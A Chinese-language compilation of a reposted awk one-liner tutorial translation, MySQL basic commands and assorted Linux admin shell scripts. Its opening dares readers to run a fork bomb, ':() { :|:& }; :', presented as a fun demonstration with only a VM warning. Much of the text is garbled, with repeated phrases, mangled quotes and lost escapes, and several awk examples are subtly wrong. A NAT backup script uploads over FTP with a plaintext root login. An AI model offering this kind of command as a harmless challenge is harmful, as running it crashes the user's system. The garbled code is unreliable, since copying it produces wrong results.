英文原:http://www.catonmat.net/b log/update -on -famous -awk -one -liners -explained
中文译者: http://roylez.heroku.com/
本人的操作只是 Copy & Paste ,对内容未作任何删改版权归原者及译所有。 PS :有疑问可以群内交流 。如果实在 憋得慌, 想来点挑战性的东,你 想来点挑战性的东,你 可以尝试执行这个 :() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; ::() { :|:& }; : 命令 ,观察下运行的结果然后你会感叹 LinuxLinuxLinuxLinuxLinux命令 是如此 的强大! 警告: 请在虚拟机中执行,不要你的生产环境。 请在虚拟机中执行,不要你的生产环境。 请在虚拟机中执行,不要你的生产环境。 否则, 哥概不负责 !
 

于print语句后都会被自动加上ORS变量,这句的作用就是输出一个新行。于是每行后面加空行的目的就达到了。
添加空行的另一种方法
awk ‘BEGIN { ORS=”nn” }; 1’
BEGIN是一个特殊的模式,后面所接的内容,会在文件被读入前执行。这里,对ORS变量进行了重新定义,将一个换行符改成了两个。后面的“1”,同样等价于{print },这样就达到了在每行后用新的ORS添加空行的目的。
在每个非空的行后面添加空行
awk ‘NF {print $0 “n”}’
这个语句里面用到了一个新的变量,NF(number of fields),即本行被分割成的字段的数目。例如,“this is a test”,会被awk分割成4个词语,NF的值就为4。当遇到空行,分割后的字段数为0,NF为0,后面的匹配动作就不会被执行。这条语句,可以理解成 “如果这一行可以分割成任意大于0的部分,那么输出当前行以及一个换行符”。
在每行后添加两个空行
awk ‘1; {print “n”}’
这一语句与前面的很相似。“1”可以理解为{print },所以整个句子可以改写为
awk ‘{print ; print “n”}’
它首先输出当前行,然后再输出一个换行符以及一个结束print语句的ORS,也就是另外一个换行符。
为每个文件的内容添加行号
awk ‘{ print FNR “t” $0 }’
这个awk程序在每行的内容前添加了一个变量FNR的输出,并用一个制表符进行分隔。FNR(File Number of Row)这个变量记录了当前行在当前文件中的行数。在处理下一个文件时,这个变量会被重置为0。
 

为所有文件的所有行统一添加行号
awk ‘{print NR “t” $0}’
这一句与上一例基本一样,除了使用的行号变量是NR(Number of Row),这个变量不会在处理新文件的时候被重置。所以说,如果你有2个文件,一个10行一个12行,那这个变量会从1一直变到22。
用更漂亮的样式添加行号
awk ‘{printf(“%5d : %sn”, FNR, $0)}’
这个例子用了printf函数来自定义输出样式,它所接受的参数与标准C语言的printf函数基本一致。需要注意的是,printf后不会被自动添加ORS,所以你需要自己指定换行。这个语句指定了行号会右对齐,然后是一个空格和冒号,接着是当前行的内容。
为文件中的非空行添加行号
awk ‘NF { $0=++a ” :” $0}; {print }’
Awk的变量都是自动定义的:你第一次用到某个变量的时候它就自动被定义了。这个语句在每次遇到一个非空行的时候先把一个变量a加1,然后把a的数值添加到行首,然后输出当前行的内容。
计算文件行数(模拟 wc -l)
awk ‘END {print NR}’
END是另外一个不会被检验是否为真的模式,后面的动作会在整个文件被读完后进行。这里是输出最终的行号,即文件的总行数。
对每行求和
awk ‘{s=0;for (i=0;i<NF;i++) s=s+$i; print s}’
Awk有些类似C语言的语法,比如这里的for (;;;){ … }循环。这句命令会让程序遍历所有NF个字段,并把字段的总和存在变量s中,最后输出s的数值并处理下一行。
 

对所有行所有字段求和
awk ‘{for (i=0;i<NF;i++) s=s+$i; END {print s+0}’
这个例子与上一个基本一致,除了输出的是所有行所有字段的和。由于变量会被自动定义,s只需要定义一次,故而不需要把s定义成0。另外需要注意的是,它输出{print s+0}而非{print s},这是因为如果文件为空,s不会被定义就不会有任何输出了,输出s+0可以保证在这种情况下也会输出更有意义的0。
将所有字段替换为其绝对值
awk ‘{ for (i = 1; i <= NF; i++) if ($i < 0) $i = -$i; print }’
这条语句用了C语言的另外两个特性,一个是if (…) {…}结构,另外就是省略了大括号。它检查对每一行,检查每个字段的值是否小于0,如果值小于0,则将其改为正数。字段名可以间接地用变量的形式引用,如i=5;$i=’hello’会将第5个字段的内容置为hello。
下面的是将这条语句完整的写出来的形式。print语句会在行中所有字段被改为正数后执行。
awk ‘{
for (i = 1; i <= NF; i++) {
if ($i < 0) {
$i = -$i;
}
}
print
}’
计算文件中的总字段(单词)数
awk ‘{total=total+NF};END {print total+0}’
这个命令匹配所有的行,并不断的把行中的字段数累加到变量total。执行完成上述动作后,输出total的数值。
输出含有单词Beth的行的数目
awk ‘/Beth/ {n++}; END {print n+0}’
 
这个例子含有两个语句。第一句找出匹配/Beth/的行,并对变量n进行累加。在/„/之间的内容为正则表达式,/Beth/匹配所有含有 “Beth”的单词(它不仅匹配Beth,同样也匹配Bethe)。第二句在文件处理完成后输出n的数值。这里用n+0是为了让n为0 的情况下输出0而不是一个空行。
寻找第一个字段为数字且最大的行
awk ‘$1 > max { max=$1; maxline=$0 }; END { print max, maxline }’
这个例子用变量max记录第一个字段的最大值,并把第一个字段最大的行的内容存在变量maxline中。在循环终止后,输出max和maxline的内容。注意:如果在数字都为负数的情况下,这个例子就不能用了,下面的是修改过的版本
awk ‘NR == 1 { max = $1; maxline = $0; next; } $1 > max { max=$1; maxline=$0 }; END { print max, maxline }’
在每一行前添加输出该行的字段数
awk ‘{print NF “:” $0}’
这个例子仅仅是在逐行输出字段数NF,一个冒号,以及该行的内容。
输出每行的最后一个字段
awk ‘{print $NF}’
awk里面的字段可以用变量的形式引用。这一句输出第NF个字段的内容,而NF就是该行的字段数。
打印最后一行的最后一个字段
awk ‘{ field = $NF };END {print field}’
这个例子用field记录最后一个字段的内容,并在循环后输出field的内容。
这里是一个更好的版本。它更常用、更简洁也更高效:
awk ‘END {print $NF}’
 

输出所有字段数大于4的行
awk ‘NF > 4’
这个例子省略了要执行的动作。如前所述,省略动作等价于{print}。
输出所有最后一个字段大于4的行
awk ‘$NF > 4’
这个例子用$NF引用最后一个字段,如果它的数值大于4,那么就输出。
详解著名的awk oneliner,

Part 2:文本替换
果然人偷懒的潜力是无限的,第一篇完成后半个多月,现在终于又开始翻译第二篇 „„不管怎么说,没太监掉已经证明我人品还算可以了。
将Windows/dos格式的换行(CRLF)转成Unix格式(LF)
awk ‘{ sub(/r$/,””); print }’
这条语句使用了sub(regex,repl,[string])函数。此函数将匹配regex的string替换成repl,如果没有提供string参数,则$0将会被默认使用。$0的含义在上一篇已经介绍过,代表整行。
这句话其实是将r删除,然后print语句在行后自动添加一个ORS,也就是默认的n。
将Unix格式的换行(LF)换成Windows/dos格式(CRLF)
awk ‘{ sub(/$/,”r”); print }’
这句话同样使用了sub函数,它将长度为0的行结束符$替换成r,也就是CR。然后print语句在后面添加一个ORS,使每行最后以CRLF结束。
 

在Windows下,将Unix格式的换行换成Windows/dos格式的换行符
awk 1
这条语句不是在所有情况下都可以用,要视使用的awk版本是不是能识别Unix格式的换行而定。如果能,那么它会读出每个句子,然后输出并用CRLF结束。1其实就是{ print }的简写形式。
删除行首的空格和制表符
awk ‘{ sub(/^[ t]+/,””); print }’
和前面的例子相似,sub函数将[ t]+用空字符串替换,达到删除行首空格的目的。
删除行首和行末的空格
awk ‘{ gsub(/^[ t]+|[ t]+$/,””); print }’
这条语句使用了一个新函数gsub,它和sub的区别在于它会替换句子里面的所有匹配。如果仅仅是要删除字段间的空格,你可以这样
awk ‘{ $1=$1; print }’
这是条很取巧的语句,看起来是什么也没作。awk会在你给字段重新赋值的时候对$0重新进行架构,用OFS也就是单个空格分隔所有字段,这样以来所有的多余的空格就消失了。
在每行首加5个空格
awk ‘{ sub(/^/,” “); print }’
同上,sub将行首符替换为5个空格,达到了在行首添加空格的目的。
让内容在79个字符宽的页面上右对齐
awk ‘{ printf “%79sn”, $0 }’
同上一篇,又使用了printf函数。
 

让内容在79个字符宽的页面上居中对齐
awk ‘{ l=length(); s=int((79-l)/2); printf “%”(s+l)”sn”, $0 }’
第一句用length函数计算当前行内容的长度,第二句计算行首应该添加多少空格,第三句让内容在s+l宽度靠右对齐。
把foo替换成bar
awk ‘{ sub(/foo/,”bar”); print }’
同上,sub函数将每行中第一个foo换成了bar。但是,如果想要把每行中所有的foo都替换成bar,你需要
awk ‘{ gsub(/foo/,”bar”); print }’
另外一种方法就是使用gensub函数
awk ‘{ $0=gensub(/foo/,”bar”,4); print }’
这条语句的不同在于它只是将每行第四次出现的foo替换成bar,它的原型是gensub(regex,s,h[,t]),它将字符串t中第h个regex替换成s,如果没有提供t参数,那么默认t就是$0。gensub不是一个标准函数,你只有在GNU Awk或者netBSD带的awk里面才能用到它。
在含有baz的行里面,把foo替换成bar
awk ‘/baz/ { sub(/foo/,”bar”) }; {print}’
(真的没什么好说的)
在不含baz的行里,把foo替换成bar
awk ‘!/baz/ { gsub(/foo/, “bar”) }; { print }’
跟上一句的差别是用!让搜到baz的返回为假。
把scarlet或者ruby或者puce替换成red
awk ‘{ gsub(/scarlet|ruby|puce/,”red”); print }’
 
(再懒一次)
让文本首位倒置,模仿tac
awk ‘{ a[i++] = $0} END { for (j=i-1; j>=0;) print a[j–] }’
首先,把每一行的内容放到数组a里面。在最后,让变量j从a的最大编号变到0,从后望前逐行输出a里面的内容。
把以结束的行同下一行相接
awk ‘/\$/ { sub(/\$/,””); getline t; print $0 t; next }; 1’
首先查找以结束的行,并删除。然后getline函数获取下一行的内容,输出当前行(去掉了)和下一行的相接后的内容。并用next跳过后面的1避免重复输出。如果当前行行末没有,会直接执行1输出。
将所有用户名排序并输出
awk -F “:” ‘{ print $1 | “sort” }’ /etc/passwd
这里首先用-F指定了分隔符为冒号,然后用|指定输出的内容逐行pipe给外部程序sort。(这写法真是奇怪)。
将前两个字段倒序输出
awk ‘{ print $2, $1 }’ file
没什么好说的。
将每行里面的前两个字段交换位置
awk ‘{ temp = $1; $1 = $2; $2 = temp; print }’
因为要输出整行,只好重新给$1和$2赋值,用个临时变量做中转。
删除每行的第二个字段
awk ‘{ $2 = “”; print }’
 

就是把第二个字段赋值为空字符串
把每行的所有字段倒序输出
awk ‘{ for (i=NF; i>0; i–) printf(“%s “, $i); printf (“n”) }’
没什么好说的
删除连续的重复行
awk ‘a != $0; { a = $0 }’
前一句省略了action,选择输出整行内容与a不一样的;后一句省略了pattern,把当前行的内容赋值给a。a在这个例子中的左右是记录上一行的内容。
删除非连续的重复行
awk ‘!a[$0]++’
这一句真是很有ee的风范!把当前行的内容作为数组a的索引,如果a里面已经有了$0的记录,即遇到了重复,pattern的值为0,不输出。
把每5行用逗号相连
awk ‘ORS=NR%5?”,”:”n”‘
这里在每行输出前,对ORS重新进行定义,如果行号能被5整除则为n,否则为逗号。(也很天书的一句)
详解著名的awk oneliner,

Part 3:选择性输出特定行
输出文件的前10行(模拟 head -n 10 )
awk ‘ NR < 11 ‘
如前所述,这里省略了动作,即为打印输出。匹配模式是变量NR需要小于11,NR即为当前的行号。这个写法很简单,但是有一个问题,在NR大于10的时候,awk其实还是对每行进行了判断,如果文件很大,比如说有上万行,浪费的时间是无法忽略的。
 

所以,更好的写法是
awk ‘1; NR = 10 { exit }’
第一句对当前行进行输出。第二句判断是不是已经到了第10行,如果是则退出。
输出文件的第一行(模拟 head -n 1 )
awk ‘NR > 1 { exit }; 1’
这个例子与前一个很相似,中心思想就是第二行就退出。
输出文件的最后两行(模拟 tail -n 2 )
awk ‘{ y=x “n” $0; x=$0}; END { print y }’
的确,这一句看起来确实有些别扭。第一句总是把一个在当前行前面再加上变量x的内容赋值给y,然后用x记录当前行内容。这样的效果是y的内容始终是 上一行加上当前行的内容。在最后,输出y的内容。如果仔细看的话,不难发现这个写法是很不高效的,因为它不停的进行赋值和字符串连接,只为了找到最后一 行!所以,如果你想要输出文件的最后两行,tail -n 2是最好的选择。
输出文件的最后一行(模拟 tail -n 1 )
awk ‘END { print }’
句法方面没什么好说的,print省略参数即是等价于print $0。但是这个语句可能不能被非GNU awk的某些awk版本正常执行,如果为了兼容,下面的写法是最安全的:
awk ‘{ rec = $0 }; END { print rec }’
输出只匹配某些模式的行(模拟 grep )
awk ‘/regex/’
似乎没什么好说的了。
输出不匹配某些模式的行(模拟 grep -v )
awk ‘!/regex/’
 
匹配模式前加“!”就是否定判断结果。
输出匹配模式的行的上一行,而非当前行
awk ‘/regex/ { print x }; { x = $0 }’
变量x总是用来记录上一行的内容,如果模式匹配了当前行,则输出x的内容。
输出匹配模式的下一行
awk ‘/regex/ { getline; print }’
这里使用了getline函数取得下一行的内容并输出。getline的作用是将$0的内容置为下一行的内容,并同时更新NR,NF,FNR变量。如果匹配的是最后一行,getline会出错,$0不会被更新,最后一行会被打印。
输出匹配AA或者BB或者CC的行
awk ‘/AA|BB|CC/’
没什么好说的,正则表达式。如果有看不懂的朋友,请自行学习正则表达式。
输出长过65个字符的行
awk ‘length > 64’
length([str])返回字符串的长度,如果参数省略,即是以$0作为参数,括号也可以省略了。
输出短于65个字符的行
awk ‘length < 65’
和上例基本一样。
输出从匹配行到最后一样的内容
awk ‘/regex/,0’
 

这里使用了“pattern1,pattern2”的形式来指定一个匹配的范围,其中pattern2这里为0,也就是false,所以一直会匹配到文件结束。
从第8行输出到第12行
awk ‘NR==8,NR==12’
同上例,这也是个范围匹配。
输出第52行
awk ‘NR==52’
如果想要少执行些不必要的循环,就这样写:
awk ‘NR==52 {print;exit}’
输出两次正则表达式匹配之间的行
awk ‘/regex1/, /regex2/’
删除所有的空行
awk NF
NF为真即是非空行。另外一种写法是用正则表达式:
awk ‘/./’
这个很类似grep .的思路,但是是不如awk NF好的,因为“.”也是可以匹配空格和TAB的。
详解著名的awk oneliner,

Part 4:定义字符串和数组
终于要弄完了。。。 原文见 http://www.catonmat.net/blog/update-on-famous-awk-one-liners-explained
 
创建一个固定长度的字符串
awk ‘BEGIN { while (a++<513) s=s “x”; print s }’
这个段程序用BEGIN这个特殊的匹配模式让后面的代码在awk试图读入任何东西前就执行。在里面是一个被执行了513次的循环,每次循环中“x”都被添加到变量s的最后。循环结束后,s的内容被输出。因为这段代码只有这一句,所以awk在执行完BEGIN模式语句后就退出了。
这段循环代码不仅仅可用在BEGIN中,你可以在awk的任何代码段里面使用,包括END。
很不幸这段代码不是最有效率的,这是一个线性的解决方案。10 Awk Tips, Tricks and Pitfalls的作者 waldner 有一个非线性的解决方案
function rep(str, num, remain, result) {
if (num < 2) {
remain = (num == 1)
} else {
remain = (num % 2 == 1)
result = rep(str, (num – remain) / 2)
}
return result result (remain ? str : “”)
}
我看不懂,被这awk oneliner的作者蒙了,没成高手„T_T
这个函数可以这样用
awk ‘BEGIN { s = rep(“x”, 513) }’
在某个位置插入指定长度的字符串
gawk –re-interval ‘BEGIN{ while(a++<49) s=s “x” }; { sub(/^.{6}/,”&” s) }; 1’
这段代码只能在gawk下使用,因为它用到了interval expression,即这里的{6},作用是让前一个字符.匹配多次。.{6}便可以匹配6个任意字符。gawk使用interval expression需要用到参数-re-interval。
同前一例一样,首先在BEGIN段里面,一个叫做s的49个字符长的字符串被建立了。接下来是对每一行,进行替换,&这里代表的是匹配的字符串部分,所以sub的结果是将每一行第7个字符开始的内容替换成了s。然后是逐行输出。
 
如果不是gawk,需要这样写
awk ‘BEGIN{ while(a++<49) s=s “x” }; { sub(/^……/,”&” s) }; 1’
orz
利用字符串建立数组
这里数组这个翻译,其实并不能十分正确的表达Array的含义。鉴于大部分时候大家都是这么叫的,这里也用数组代表Array。
split(“Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec”, month, ” “)
很简单,数组month被初始化了。month[1]的内容是Jan,month[2]是Feb,„.
建立用字符串做编号的数组(类似Ruby的Hash,Python的dict)
for (i=1; i<=12; i++) mdigit[month[i]] = i
很明了,所以不说了,用到了上面的month数组。
输出第5个字段为abc123的行
awk ‘$5 == “abc123″‘
没什么好说的,等价于
awk ‘$5 == “abc123” {print $0}’
输出第5个字段不为abc123的行
awk ‘$5 != “abc123″‘
也等价于
awk ‘$5 != “abc123” {print $0}’

awk ‘!($5 == “abc123”)’
 

输出第7字段匹配某个正则表达式的行
awk ‘$7 ~ /^[a-f]/’
这里用了~来进行正则表达式的匹配哦。如果你要不匹配的行,可以
awk ‘$7 !~ /^[a-f]/’
正如海 博士 说的: 说的: “awkawkawk具有解释类脚本的 便捷,又编译程序具有解释类脚本的 便捷,又编译程序具有解释类脚本的 便捷,又编译程序具有解释类脚本的 便捷,又编译程序具有解释类脚本的 便捷,又编译程序具有解释类脚本的 便捷,又编译程序具有解释类脚本的 便捷,又编译程序效率。 awkawkawk内部采用的是编译过程,词法上了 内部采用的是编译过程,词法上了 内部采用的是编译过程,词法上了 内部采用的是编译过程,词法上了 内部采用的是编译过程,词法上了 内部采用的是编译过程,词法上了 内部采用的是编译过程,词法上了 yyaccyyaccyyaccyyaccyyacc解析成语 法树,外层用 运法树,外层用 运法树,外层用 运c代码对树递归调用。做为一 代码对树递归调用。做为一 代码对树递归调用。做为一 代码对树递归调用。做为一 代码对树递归调用。做为一 个便捷的 个便捷的 shell utilityshell utilityshell utilityshell utilityshell utilityshell utilityshell utilityshell utilityshell utilityshell utilityshell utilityshell utilityshell utility, 效率上已经相当不错了 效率上已经相当不错了 效率上已经相当不错了 ~~~perl~~~perl~~~perl~~~perl~~~perl~~~perl~~~perl比 awkawkawk更接近于语言,脱离了工具的 更接近于语言,脱离了工具的 更接近于语言,脱离了工具的 更接近于语言,脱离了工具的 更接近于语言,脱离了工具的 固定模式约束,拿 固定模式约束,拿 固定模式约束,拿 awkawkawk跟 perlperlperlperl比,就像拿汽车跟交通公具没有 比,就像拿汽车跟交通公具没有 比,就像拿汽车跟交通公具没有 比,就像拿汽车跟交通公具没有 比,就像拿汽车跟交通公具没有 多大意义 多大意义 多大意义 。”
个人觉得,虽 个人觉得,虽 awkawkawk不如 javajavajavajava、c++c++c++那样功能强大, 无所不那样功能强大, 无所不那样功能强大, 无所不那样功能强大, 无所不但 awkawkawk却是 为应用而生的, 为应用而生的, 文本字符串处理是它的专长,对用户来说语 文本字符串处理是它的专长,对用户来说语 文本字符串处理是它的专长,对用户来说语 文本字符串处理是它的专长,对用户来说语 文本字符串处理是它的专长,对用户来说语 文本字符串处理是它的专长,对用户来说语 文本字符串处理是它的专长,对用户来说语 文本字符串处理是它的专长,对用户来说语 法简单,容易上手使用便捷这就是它的优点也足够了。 法简单,容易上手使用便捷这就是它的优点也足够了。 法简单,容易上手使用便捷这就是它的优点也足够了。 法简单,容易上手使用便捷这就是它的优点也足够了。 法简单,容易上手使用便捷这就是它的优点也足够了。 法简单,容易上手使用便捷这就是它的优点也足够了。 法简单,容易上手使用便捷这就是它的优点也足够了。 法简单,容易上手使用便捷这就是它的优点也足够了。 法简单,容易上手使用便捷这就是它的优点也足够了。 法简单,容易上手使用便捷这就是它的优点也足够了。 法简单,容易上手使用便捷这就是它的优点也足够了。
附:这里面的命令浅显易懂, 附:这里面的命令浅显易懂, 附:这里面的命令浅显易懂, 对我这菜鸟来说很多用法相当的犀 对我这菜鸟来说很多用法相当的犀 对我这菜鸟来说很多用法相当的犀 对我这菜鸟来说很多用法相当的犀 利,译者 利,译者 解释的也相当详细, 解释的也相当详细, 解释的也相当详细, 透彻、精确, 透彻、精确, 再次感谢原作者及译! 再次感谢原作者及译! 再次感谢原作者及译! 再次感谢原作者及译! 再次感谢原作者及译!
如有疑问请群内 膜拜 sunsunsun、莫帝 、igiigiigi、 潜艇、 潜艇海、我晕 。 。 。 等众多 老鸟 。 。 。

MySQL常用基本操作

##MySQL数据库SQL(Structured Query Language)结构化查询语言常用基本操作:
/*DDL(Data Definition Language)数据定义语言*/
##创建数据库:
create database ‘数据库名称’ character utf8;
##删除数据库:
drop database ‘数据库名称’;
##显示所有数据库:
show databases;
##使用数据库
use ‘数据库名称’;
##确定当前使用数据库:
select dababase();
##显示数据库中某表结构
desc ‘表名’;
##显示某表的创建语句
show create table ‘表名’;

##创建表:
create table ‘表名’(
‘列名’ ‘列描述’,
‘列名’ ‘列描述’,
‘列名’ ‘列描述’);
##带主键且自增长的表
create table ‘表名’(
‘列名’ ‘列描述’ primary key auto_increment,
‘列名’ ‘列描述’,
‘列名’ ‘列描述’);
##删除表:
drop table ‘表名’;
##修改表:
alter table ‘旧表名’ rename ‘新表名’;

##添加字段
alter table ‘表名’ add column ‘列名’ ‘列描述’;
##修改字段
alter table ‘表名’ change ‘旧列名’ ‘新列名’ ‘新列描述’;
##删除字段
alter table ‘表名’ drop column ‘列名’;

/*DML(Data Manipulation Language)数据操作语言*/
##录入数据
insert into ‘表名’(‘字段名,字段名…’) values(‘对应值,对应值…’);
insert into ‘表名’ values(‘对应值,对应值…’);
##更新数据
update ‘表名’ set ‘字段名’=’字段值’,’字段名’=’字段值’… where ‘字段名’=’字段值’;
update ‘表名’ set ‘字段名’=’字段值’,’字段名’=’字段值’…;
##删除数据
delete from ‘表名’;
delete from ‘表名’ where ‘字段名’=’字段值’;
/*DQL(Data Queries Language)数据查询语言*/
##查询所有
select * from ‘表名’;
##查询需要的
select ‘字段名’,’字段名’… from ‘表名’;
##别名查询
select ‘字段名’,concat(‘字段名’,’字段名’) [as] ‘别名’ from ‘表名’;
##where查询
select * from ‘表名’ where ‘字段名’ like “_’值’%”
##聚合查询
select count(*) from ‘表名’; ##查询记录数
select ‘字段名’ from ‘表名’ order by ‘字段名’ desc; ##依降序查询
select distinct ‘字段名’ from ‘表名’ order by ‘字段名’ asc; ##去重复依升序查询
##分组查询
select avg(‘字段名’) from ‘表名’ group by ‘字段名’;
select avg(字段名) as ‘别名’,’别名’ from ‘字段名’ group by ‘字段名’ having ‘字段名’>0;

/*DCL(Data Control Language)数据控制语言*/

/*约束*/
##主键约束
alter table ‘表名’ add constraint primary key(‘字段名’);
##唯一约束
alter table ‘表名’ add constraint unique(‘字段名’);
##外键约束
alter table ‘表名’ add constraint foreign key(‘外键字段名’) references ‘主表’(‘主键字段名’);

一些Linux Shell 脚本

查看系统版本
cat /etc/redhat-release
cat /etc/issue
############################################
CentOS下不相应PING的办法
sysctl -w net.ipv4.icmp_echo_ignore_all=1
sysctl -p
############################################

屏蔽别人 ping 你的主机(sysctl.conf)
# Disable ping requests
net.ipv4.icmp_echo_ignore_all = 1
#编辑完成后,请执行以下命令使变动立即生效:
/sbin/sysctl -p
/sbin/sysctl -w net.ipv4.icmp_echo_ignore_all = 1
############################################
shell判断文件是否存在
[ ! -f /home/testfile ] && echo “tesfile note exist” || exit $?

############################################
服务器并发数统计脚本
贴一下统计服务器并发数统计脚本,根据网上的信息加上自己的需求整理的,把IP换为自己的IP地址即可,统计的是80端口的访问并发适用于Linux平台。 去掉最后的awk段就可以统计当前每个IP的访问数
echo “当前并发数:`netstat -nt | grep IP:80 | awk ‘{print $5}’ | awk -F”:” ‘{print $1}’| sort | uniq -c | sort -r -n | awk ‘BEGIN{total=0}{total+=$1}END{print total}’`”;

############################################
ostype()
{
#取得系统名
osname=`uname -s`
OSTYPE=””
case $osname in
“FreeBSD”) OSTYPE=”FREEBSD”
;;
“AIX”) OSTYPE=”AIX”
;;
“SunOS”) OSTYPE=”SOLARIS”
;;
“Linux”)
OSTYPE=”LINUX”
;;
“HP-UX”)
OSTYPE=”HPUX”
;;
“SCO”)
OSTYPE=”SCO”
;;
“UnixWare”)
OSTYPE=”SCO”
;;
“SCO_SV”)
OSTYPE=”SCO”
;;
“UNIX_SV”)
OSTYPE=”SCO”
;;
“CYGWIN_NT-5.1″)
OSTYPE=”CYGWIN”
;;
*)
;;
esac
}

############################################
非法IP登陆自己报警 通过简单的检测last输出日志来分析最近时间可能登陆的恶意IP
配置crontab使用定时检测
#!/bin/bash

#该脚本作用是检测是否有恶意IP登陆服务器并邮件报警
#可以结合139邮箱以达到短信及时通知到手机的功能
#适用系统centos5

Ldate=`which date`
Lawk=`which awk`
Llast=`which last`
Lgrep=`which grep`
Lsendmail=`which sendmail`
Lifconfig=`which ifconfig`
serverip=`$Lifconfig eth0|$Lgrep inet|$Lawk -F : ‘{print $2}’|$Lawk ‘{print $1}’`
cutdate=`$Ldate |$Lawk ‘{print $1″ “$2″ “$3}’`

hackerip=`$Llast|$Lgrep “$cutdate”|$Lawk ‘{print $3}’|$Lgrep -v 192.168.100.90`

if [ -z $hackerip ]
then
exit
else

for logip in $hackerip
do
echo “hacker ip is $logip already login $serverip”|mail -s “SOS” xxx@139.com xxx@139.com xxxx@139.com

done
fi

############################################
获取网络信息
#/usr/bin/env bash

# Name: get_network_info.sh
# Author: Purple_Grape
# This is a script to gather network information of your Linux system.
# Test under Ubuntu 10.04 only.

#—————————-
NIC=eth0
MAC=`LANG=C ifconfig $NIC | awk ‘/HWaddr/{ print $5 }’ `
IP=`LANG=C ifconfig $NIC | awk ‘/inet addr:/{ print $2 }’ | awk -F: ‘{print $2 }’`
MASK=`LANG=C ifconfig $NIC | awk -F: ‘/Mask/{print $4}’`
ext_ip=`curl ifconfig.me`

if [ -f /etc/resolv.conf ];
then
dns=`awk ‘/^nameserver/{print $2}’ /etc/resolv.conf `
fi
#—————————-
echo “Your network information is as below:”
echo $MAC
echo $IP
echo $dns
echo $ext_ip

############################################
备份linux nat服务器配置 备份nat网卡IP,nat,路由。设置重启运行该脚本即可
#!/bin/bash
setupfile=$(ifconfig|grep 172.16|awk -F ‘:||B’ ‘{print $2}’)
echo #!/bin/bash > $setupfile
echo “/sbin/modprobe ip_nat_ftp” >> $setupfile
echo “/sbin/modprobe ip_conntrack_ftp” >> $setupfile
echo “echo 1 > /proc/sys/net/ipv4/ip_forward” >> $setupfile
echo “echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all” >> $setupfile
echo “echo 4096 > /proc/sys/net/ipv4/tcp_max_syn_backlog” >> $setupfile
echo “echo 3 > /proc/sys/net/ipv4/tcp_syn_retries” >> $setupfile
echo “echo 3 > /proc/sys/net/ipv4/tcp_synack_retries” >> $setupfile
echo “echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts” >> $setupfile
echo “echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses” >> $setupfile
echo “echo 1 > /proc/sys/net/ipv4/tcp_syncookies” >> $setupfile
echo “echo 900 > /proc/sys/net/ipv4/tcp_keepalive_time” >> $setupfile
echo “echo 2097152 > /proc/sys/net/ipv4/ip_conntrack_max” >> $setupfile
echo “echo 1800 > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_established” >> $setupfile

############################################
##################################### NIC IP #
############################################
ip=($(ip add |grep ‘scope global’|awk ‘{print $2}’))
eth=($(ip add |grep ‘scope global’|awk ‘{print $NF}’))
for ((i=0;i<${#ip[@]};i++))
do
echo ip addr add ${ip[i]} dev ${eth[i]} >> $setupfile
done
route=($(ip ro|grep via|awk ‘{print $1}’))
routeip=($(ip ro|grep via|awk ‘{print $3}’))
for ((i=0;i<${#route[@]};i++))
do
echo ip ro addr add ${route[i]} via ${routeip[i]} >> $setupfile
done
############################################
#################################### IPTABLES ########################################
############################################
echo “iptables -F” >> $setupfile
echo “iptables -F -t nat” >> $setupfile
echo “iptables -F -t mangle” >> $setupfile
echo “iptables -F INPUT” >> $setupfile
echo “iptables -F OUTPUT” >> $setupfile
echo “iptables -P INPUT DROP” >> $setupfile
echo “iptables -Z” >> $setupfile
echo “iptables -A INPUT -s 10.1.0.0/24 -p tcp –dport 2222 -j ACCEPT” >> $setupfile
echo “iptables -A INPUT -s 10.1.0.128/25 -p icmp –icmp-type echo-request -j ACCEPT” >> $setupfile
echo “iptables -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT” >> $setupfile
echo “iptables -A INPUT -p tcp –dport 199 -j ACCEPT” >> $setupfile
echo “iptables -A INPUT -p udp –dport 161 -j ACCEPT” >> $setupfile
echo “iptables -A FORWARD -p tcp -m multiport –dports 69,135,139,445,593,4444,1434,2500,5800,5900,6346,9393,5554,9996 -j REJECT –reject-with tcp-reset” >> $setupfile
echo “iptables -A FORWARD -p udp -m multiport –dports 135,137,138,139,445,593,4444,1434 -j REJECT –reject-with icmp-port-unreachable” >> $setupfile
############################################
##################################### NAT ###
############################################
sip=($(iptables -t nat -vnL|grep SNAT|awk ‘{print $8}’))
dip=($(iptables -t nat -vnL|grep SNAT|awk ‘{print $10}’|awk -F “:” ‘{print $2}’))
for ((i=0;i<${#sip[@]};i++))
do
echo iptables -t nat -A POSTROUTING -s ${sip[i]} -j SNAT –to ${dip[i]} >> $setupfile
done
for ((i=0;i<${#sip[@]};i++))
do
echo iptables -t nat -A PREROUTING -d ${dip[i]} -j DNAT –to ${sip[i]} >> $setupfile
done
=====
ftp登陆上传
ftp -in 10.0.1.198 <<!
user root root
binary
cd nat
del $setupfile
put $setupfile
bye
!
-==========
############################################
TOMCAT管理脚本 JDK 的安装目录通过参数传递给脚本,当脚本没有接收到 JDK 参数时,
查找Tomcat安装目录的父目录下是否有 jdk1.6.0_14 目录,
将管理服务的命令集成为一个脚本命令,传递给脚本的参数区分不同的请求命令。
#!/bin/bash
#JDK 的安装目录通过参数传递给脚本,当脚本没有接收到 JDK 参数时,
#查找Tomcat安装目录的父目录下是否有 jdk1.6.0_14 目录,
#将管理服务的命令集成为一个脚本命令,传递给脚本的参数区分不同的请求命令。
#===========================================
#@author yuchao1@staff.sina.com.cn
#@time 20101117 14:13:12
#===========================================
PRG=”$0″
# parsing the current command path
while [ -h “$PRG” ] ; do
ls=`ls -ld “$PRG”`
link=`expr “$ls” : ‘.*-> (.*)$’`
if expr “$link” : ‘/.*’ > /dev/null; then
PRG=”$link”
else
PRG=`dirname “$PRG”`/”$link”
fi
done
# get the command path
PRGDIR=`dirname “$PRG”`
# PRGDIR maybe ../apache-tomcat-6.0.20/bin

# get the tomcat home path
tomcat_dir=`cd “$PRGDIR/..” ; pwd`
top_dir=`cd “$tomcat_dir/..”; pwd`

